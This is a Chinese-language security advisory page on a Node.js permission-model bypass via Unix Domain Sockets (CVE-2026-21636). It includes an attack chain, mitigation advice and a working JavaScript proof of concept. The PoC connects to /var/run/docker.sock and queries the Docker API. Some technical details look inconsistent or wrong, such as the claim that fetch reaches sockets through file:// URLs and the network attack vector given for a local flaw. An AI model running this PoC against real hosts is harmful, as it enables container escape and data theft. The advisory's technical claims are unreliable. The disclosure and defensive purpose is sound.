IPBUF安全漏洞报告
English
CVE-2026-21636 CVSS 10.0 严重

Node.js权限模型UDS绕过漏洞(CVE-2026-21636)

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-21636
漏洞类型
权限绕过
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Node.js

相关标签

权限绕过Node.jsUnix Domain Socket安全模型CVE-2026-21636容器安全本地提权

漏洞概述

CVE-2026-21636是Node.js权限模型中的一个严重安全漏洞。当Node.js使用--permission标志启用权限模型时,Unix Domain Socket(UDS)连接可以绕过网络限制,导致安全边界被破坏。攻击者可以通过net、tls或undici/fetch等模块,利用socketPath选项连接到任意本地socket,即使未启用--allow-net选项。此漏洞影响Node.js v25版本,可能导致攻击者访问特权本地服务、进行权限提升、数据泄露或本地代码执行。CVSS评分达到10.0,属于严重级别,攻击复杂度低且无需认证或用户交互。

技术细节

Node.js的权限模型旨在通过--permission标志提供细粒度的资源访问控制。然而,该模型在处理Unix Domain Socket连接时存在设计缺陷。当启用--permission时,系统会检查网络连接权限,但UDS连接被视为本地文件路径而非网络连接,导致权限检查被绕过。攻击者可以利用以下方式利用此漏洞:1)通过net.connect()的socketPath参数指定任意本地socket路径;2)通过tls模块连接本地服务;3)通过undici或fetch API使用file://协议访问UDS。漏洞的根本原因在于权限模型将UDS视为文件系统操作而非网络操作,从而绕过了--allow-net的限制。这允许攻击者访问如/var/run/docker.sock等特权socket,执行容器逃逸或获取敏感数据。

攻击链分析

STEP 1
步骤1
目标系统运行Node.js v25并启用--permission标志,但未设置--allow-net选项
STEP 2
步骤2
攻击者通过应用输入点注入恶意的socketPath参数或file:// URL
STEP 3
步骤3
Node.js权限模型错误地将UDS连接视为文件系统操作而非网络操作
STEP 4
步骤4
绕过权限检查后,通过net/tls/undici模块连接到本地特权socket(如docker.sock)
STEP 5
步骤5
利用本地服务漏洞进行容器逃逸、权限提升或数据读取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-21636 - Node.js Permission Model UDS Bypass // Run with: node --permission poc.js (without --allow-net) const net = require('net'); // Try to connect to Docker socket (privileged local service) const dockerSocket = '/var/run/docker.sock'; try { const client = net.createConnection(dockerSocket); client.on('connect', () => { console.log('[+] Connected to Docker socket successfully!'); console.log('[+] Bypassed permission model - UDS connection allowed without --allow-net'); // Send Docker API request to list containers const request = 'GET /v1.41/containers/json HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n'; client.write(request); }); client.on('data', (data) => { console.log('[+] Received response from Docker API:'); console.log(data.toString()); client.end(); }); client.on('error', (err) => { console.log('[-] Connection failed:', err.message); }); } catch (err) { console.log('[-] Error:', err.message); } // Alternative: Using fetch with file:// protocol // fetch('file:///var/run/docker.sock/v1.41/containers/json') // .then(r => r.text()) // .then(console.log);

影响范围

Node.js v25.x

防御指南

临时缓解措施
立即禁用Node.js的--permission实验性功能,直到官方发布修复补丁。同时,检查应用程序代码中所有使用socketPath、file://协议或本地socket连接的部分,实施输入验证和白名单机制。对于Docker等特权服务,确保应用程序容器无法直接访问宿主机的socket文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表